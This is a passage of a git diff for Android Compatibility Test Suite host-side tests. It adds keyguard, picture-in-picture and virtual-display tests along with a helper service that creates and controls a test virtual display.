+        if (!supportsMultiDisplay()) { return; }
+
+        try {
+            setLockCredential();
+
+            launchActivity(TEST_ACTIVITY_NAME);
+
+            final DisplayState newDisplay = createExternalVirtualDisplay(
+                    false /* showContentWhenLocked */);
+            launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+            gotoKeyguard();
+            mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+
+            mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
+            mAmWmState.waitForActivityState(
+                    mDevice, SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
+
+            mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
+            assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
+                    .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
+        } finally {
+            tearDownLockCredentials();
+        }
+    }
+
     /** Get physical and override display metrics from WM. */
     private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
         mDumpLines.clear();
@@ -1526,4 +2030,35 @@
         return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
                 " --es command resize_display";
     }
+
+    /**
+     * Creates a private virtual display with the external and show with insecure
+     * keyguard flags set.
+     */
+    private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
+            throws Exception {
+        final ReportedDisplays originalDS = getDisplaysStates();
+        final int originalDisplayCount = originalDS.getNumberOfDisplays();
+
+        mExternalDisplayHelper = new DisplayHelper(getDevice());
+        mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
+
+        // Wait for the virtual display to be created and get configurations.
+        final ReportedDisplays ds =
+                getDisplayStateAfterChange(originalDisplayCount + 1);
+        assertEquals("New virtual display must be created",
+                originalDisplayCount + 1, ds.getNumberOfDisplays());
+
+        // Find the newly added display.
+        final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
+        return newDisplays.get(0);
+    }
+
+    /** Turns the primary display on/off by pressing the power key */
+    private void setPrimaryDisplayState(boolean wantOn) throws DeviceNotAvailableException {
+        // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
+        int keycode = wantOn ? 224 : 223;
+        getDevice().executeShellCommand("input keyevent " + keycode);
+        DisplayHelper.waitForDefaultDisplayState(getDevice(), wantOn);
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 950dec9..5f63580 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -19,7 +19,6 @@
 import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
 import static android.server.cts.ActivityManagerState.STATE_STOPPED;
 
-import android.server.cts.ActivityManagerState.Activity;
 import android.server.cts.ActivityManagerState.ActivityStack;
 import android.server.cts.ActivityManagerState.ActivityTask;
 
@@ -83,7 +82,7 @@
     private static final String TEST_ACTIVITY_ACTION_FINISH =
             "android.server.cts.TestActivity.finish_self";
 
-    private static final int APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE = 67;
+    private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
     private static final int APP_OPS_MODE_ALLOWED = 0;
     private static final int APP_OPS_MODE_IGNORED = 1;
     private static final int APP_OPS_MODE_ERRORED = 2;
@@ -684,7 +683,7 @@
 
         // Disable enter-pip and try to enter pip
         setAppOpsOpToMode(ActivityManagerTestBase.componentName,
-                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_IGNORED);
+                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
 
         // Launch the PIP activity on pause
         launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
@@ -696,7 +695,7 @@
 
         // Re-enable enter-pip-on-hide
         setAppOpsOpToMode(ActivityManagerTestBase.componentName,
-                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_ALLOWED);
+                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
     }
 
     public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
@@ -779,6 +778,38 @@
         assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
     }
 
+    public void testEnterPipInterruptedCallbacks() throws Exception {
+        if (!supportsPip()) return;
+
+        // Slow down the transition animations for this test
+        setWindowTransitionAnimationDurationScale(20);
+
+        // Launch a PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        // Wait until the PiP activity has moved into the pinned stack (happens before the
+        // transition has started)
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+        assertPinnedStackExists();
+
+        // Relaunch the PiP activity back into fullscreen
+        String logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY);
+        // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
+        // transition has finished)
+        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+
+        // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
+        // configuration change (since none was sent)
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+                PIP_ACTIVITY, logSeparator);
+        assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
+        assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
+        assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
+
+        // Reset the animation scale
+        setWindowTransitionAnimationDurationScale(1);
+    }
+
     public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
         if (!supportsPip()) return;
 
@@ -1248,8 +1279,8 @@
     /**
      * Sets an app-ops op for a given package to a given mode.
      */
-    private void setAppOpsOpToMode(String packageName, int op, int mode) throws Exception {
-        executeShellCommand(String.format("appops set %s %d %d", packageName, op, mode));
+    private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
+        executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
     }
 
     /**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
index 3c1a626..b3d7add 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
@@ -37,12 +37,7 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
-        removeLockCredential();
-        // Dismiss active keyguard after credential is cleared, so
-        // keyguard doesn't ask for the stale credential.
-        pressBackButton();
-        sleepDevice();
-        wakeUpAndUnlockDevice();
+        tearDownLockCredentials();
     }
 
     public void testLockAndUnlock() throws Exception {
@@ -182,6 +177,7 @@
         mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
 
         gotoKeyguard();
+        mAmWmState.computeState(mDevice, null);
         mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
         assertShowingAndOccluded();
         mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
index 9ebd714..8c6f037 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
@@ -17,7 +17,6 @@
 package android.server.cts;
 
 import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.ActivityManagerState.ActivityStack;
 
 /**
  * Build: mmma -j32 cts/hostsidetests/services
@@ -30,15 +29,14 @@
         super.setUp();
 
         // Set screen lock (swipe)
-        mDevice.executeShellCommand("locksettings set-disabled false");
+        setLockDisabled(false);
     }
 
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
 
-        // Remove screen lock
-        mDevice.executeShellCommand("locksettings set-disabled true");
+        tearDownLockCredentials();
     }
 
     public void testKeyguardHidesActivity() throws Exception {
@@ -310,4 +308,71 @@
         assertNotNull(wallpaper);
         assertTrue(wallpaper.isShown());
     }
+
+    public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+
+        final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+        sleepDevice();
+
+        final String logSeparator = clearLogcat();
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity(activityName);
+        mAmWmState.waitForKeyguardGone(mDevice);
+        mAmWmState.assertVisibility(activityName, true);
+        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertOnDismissSucceededInLogcat(logSeparator);
+        assertTrue(isDisplayOn());
+    }
+
+    public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+
+        final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+
+        setLockCredential();
+        sleepDevice();
+
+        mAmWmState.computeState(mDevice, null);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        launchActivity(activityName);
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        mAmWmState.assertVisibility(activityName, false);
+        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+        assertTrue(isDisplayOn());
+    }
+
+    public void testScreenOffWhileOccludedStopsActivity() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+
+        final String logSeparator = clearLogcat();
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        assertShowingAndNotOccluded();
+        launchActivity("ShowWhenLockedAttrActivity");
+        mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedAttrActivity" });
+        mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
+        assertShowingAndOccluded();
+        sleepDevice();
+        assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
+    }
+
+    public void testScreenOffCausesSingleStop() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+
+        final String logSeparator = clearLogcat();
+        launchActivity("TestActivity");
+        mAmWmState.assertVisibility("TestActivity", true);
+        sleepDevice();
+        assertSingleLaunchAndStop("TestActivity", logSeparator);
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
index a4c704a..5971ccb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
@@ -33,15 +33,7 @@
         super.setUp();
 
         // Set screen lock (swipe)
-        mDevice.executeShellCommand("locksettings set-disabled false");
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        super.tearDown();
-
-        // Remove screen lock
-        mDevice.executeShellCommand("locksettings set-disabled true");
+        setLockDisabled(false);
     }
 
     public void testUnlock() throws Exception {
@@ -103,4 +95,59 @@
         assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
                 mAmWmState.getWmState().getLastTransition());
     }
+
+    public void testOccludeManifestAttr() throws Exception {
+         if (!isHandheld()) {
+             return;
+         }
+
+         String activityName = "ShowWhenLockedAttrActivity";
+
+         gotoKeyguard();
+         final String logSeparator = clearLogcat();
+         launchActivity(activityName);
+         mAmWmState.computeState(mDevice, new String[] {activityName});
+         assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+                 mAmWmState.getWmState().getLastTransition());
+         assertSingleLaunch(activityName, logSeparator);
+    }
+
+    public void testOccludeAttrRemove() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+
+        String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
+
+        gotoKeyguard();
+        String logSeparator = clearLogcat();
+        launchActivity(activityName);
+        mAmWmState.computeState(mDevice, new String[] {activityName});
+        assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+                mAmWmState.getWmState().getLastTransition());
+        assertSingleLaunch(activityName, logSeparator);
+
+        gotoKeyguard();
+        logSeparator = clearLogcat();
+        launchActivity(activityName);
+        mAmWmState.computeState(mDevice, new String[] {activityName});
+        assertSingleStartAndStop(activityName, logSeparator);
+    }
+
+    public void testNewActivityDuringOccludedWithAttr() throws Exception {
+        if (!isHandheld()) {
+            return;
+        }
+
+        String activityName1 = "ShowWhenLockedAttrActivity";
+        String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
+
+        launchActivity(activityName1);
+        gotoKeyguard();
+        launchActivity(activityName2);
+        mAmWmState.computeState(mDevice, new String[] { activityName2 });
+        assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+                mAmWmState.getWmState().getLastTransition());
+    }
+
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
index e20bbb5..3b075e1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
new file mode 100644
index 0000000..c9cb7ef
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDisplayServiceApp
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
new file mode 100644
index 0000000..d3ae55e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.displayservice">
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <application android:label="CtsDisplayService">
+        <service android:name=".VirtualDisplayService"
+                 android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
new file mode 100644
index 0000000..eb58963
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.displayservice;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.Surface;
+
+public class VirtualDisplayService extends Service {
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
+    private static final String TAG = "VirtualDisplayService";
+
+    private static final int FOREGROUND_ID = 1;
+
+    private static final int DENSITY = 160;
+    private static final int HEIGHT = 480;
+    private static final int WIDTH = 800;
+
+    private ImageReader mReader;
+    private VirtualDisplay mVirtualDisplay;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+            NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+            NotificationManager.IMPORTANCE_DEFAULT));
+        Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(android.R.drawable.ic_dialog_alert)
+                .build();
+        startForeground(FOREGROUND_ID, notif);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String command = intent.getStringExtra("command");
+        Log.d(TAG, "Got command: " + command);
+
+        if ("create".equals(command)) {
+            createVirtualDisplay(intent);
+        } if ("off".equals(command)) {
+            mVirtualDisplay.setSurface(null);
+        } else if ("on".equals(command)) {
+            mVirtualDisplay.setSurface(mReader.getSurface());
+        } else if ("destroy".equals(command)) {
+            destroyVirtualDisplay();
+            stopSelf();
+        }
+
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    private void createVirtualDisplay(Intent intent) {
+        mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
+
+        final DisplayManager displayManager = getSystemService(DisplayManager.class);
+        final String name = "CtsVirtualDisplay";
+
+        int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+        if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
+            flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+        }
+        mVirtualDisplay = displayManager.createVirtualDisplay(
+                name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
+    }
+
+    private void destroyVirtualDisplay() {
+        mVirtualDisplay.release();
+        mReader.close();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
new file mode 100644
index 0000000..0df59e7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+
+LOCAL_MODULE := cts-display-service-app-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
new file mode 100644
index 0000000..89683a0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.displayservice;
+
+import static junit.framework.Assert.assertTrue;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+
+public class DisplayHelper {
+    private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
+    private static final String VIRTUAL_DISPLAY_SERVICE =
+            "android.server.displayservice/.VirtualDisplayService";
+    private static final Pattern mDisplayDevicePattern = Pattern.compile(
+            ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+
+    private boolean mCreated;
+    private final ITestDevice mDevice;
+
+    public DisplayHelper(ITestDevice device) {
+        mDevice = device;
+    }
+
+    public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
+            throws DeviceNotAvailableException {
+        StringBuilder command =
+                new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
+        command.append(" --es command create");
+        if (external) {
+            command.append(" --ez external_display true");
+        }
+        if (requestShowWhenLocked) {
+            command.append(" --ez show_content_when_locked true");
+        }
+        mDevice.executeShellCommand(command.toString());
+
+        waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
+        mCreated = true;
+    }
+
+    public void turnDisplayOff() throws DeviceNotAvailableException {
+        mDevice.executeShellCommand(
+                "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
+        waitForDisplayState(mDevice, false /* default */, true /* exists */, false /* on */);
+    }
+
+    public void turnDisplayOn() throws DeviceNotAvailableException {
+        mDevice.executeShellCommand(
+                "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
+        waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
+    }
+
+    public void releaseDisplay() throws DeviceNotAvailableException {
+        if (mCreated) {
+            mDevice.executeShellCommand(
+                    "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
+            waitForDisplayState(mDevice, false /* default */, false /* exists */, true /* on */);
+        }
+        mCreated = false;
+    }
+
+    public static void waitForDefaultDisplayState(ITestDevice device, boolean wantOn)
+            throws DeviceNotAvailableException {
+        waitForDisplayState(device, true /* default */, true /* exists */, wantOn);
+    }
+
+    public static boolean getDefaultDisplayState(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return getDisplayState(device, true);
+    }
+
+    private static void waitForDisplayState(
+            ITestDevice device, boolean defaultDisplay, boolean wantExists, boolean wantOn)
+            throws DeviceNotAvailableException {
+        int tries = 0;
+        boolean done = false;
+        do {
+            if (tries > 0) {
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException e) {
+                    // Oh well
+                }
+            }
+
+            Boolean state = getDisplayState(device, defaultDisplay);
+            done = (!wantExists && state == null)
+                    || (wantExists && state != null && state == wantOn);
+
+            tries++;
+        } while (tries < 10 && !done);
+
+        assertTrue(done);
+    }
+
+    private static Boolean getDisplayState(ITestDevice device, boolean defaultDisplay)
+            throws DeviceNotAvailableException {
+        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        device.executeShellCommand("dumpsys display", outputReceiver);
+        String dump = outputReceiver.getOutput();
+
+        boolean displayExists = false;
+        boolean displayOn = false;
+        for (String line : dump.split("\\n")) {
+            Matcher matcher = mDisplayDevicePattern.matcher(line);
+            if (matcher.matches()) {
+                if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
+                        || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
+                    return "ON".equals(matcher.group(2));
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
index df16346..a54ed19 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityAndWindowManagersState.java
@@ -23,6 +23,7 @@
 import static android.server.cts.ActivityManagerTestBase.PINNED_STACK_ID;
 import static android.server.cts.ActivityManagerTestBase.componentName;
 import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
 
 import android.server.cts.ActivityManagerState.ActivityStack;
 import android.server.cts.ActivityManagerState.ActivityTask;
@@ -32,6 +33,7 @@
 import android.server.cts.WindowManagerState.WindowTask;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.DeviceNotAvailableException;
 
 import junit.framework.Assert;
 
@@ -40,6 +42,7 @@
 import java.util.List;
 import java.util.Objects;
 import java.util.function.BiPredicate;
+import java.util.function.BooleanSupplier;
 import java.util.function.Predicate;
 
 /** Combined state of the activity manager and window manager. */
@@ -210,6 +213,26 @@
         } while (retriesLeft-- > 0);
     }
 
+    void waitForAllStoppedActivities(ITestDevice device) throws Exception {
+        int retriesLeft = 5;
+        do {
+            mAmState.computeState(device);
+            if (mAmState.containsStartedActivities()){
+                log("***Waiting for valid stacks and activities states...");
+                try {
+                    Thread.sleep(1500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertFalse(mAmState.containsStartedActivities());
+    }
+
     void waitForHomeActivityVisible(ITestDevice device) throws Exception {
         waitForValidState(device, mAmState.getHomeActivityName());
     }
@@ -248,10 +271,17 @@
                 "***Waiting for Display unfrozen");
     }
 
-    void waitForActivityState(ITestDevice device, String activityName, String activityState)
-            throws Exception {
-        waitForWithAmState(device, state -> state.hasActivityState(activityName, activityState),
-                "***Waiting for Activity State: " + activityState);
+    void waitForActivityState(ITestDevice device, String activityName, String... activityStates)
+        throws Exception {
+        waitForWithAmState(device, state -> {
+                for (String activityState : activityStates) {
+                    if (state.hasActivityState(activityName, activityState)) {
+                        return true;
+                    }
+                }
+                return false;
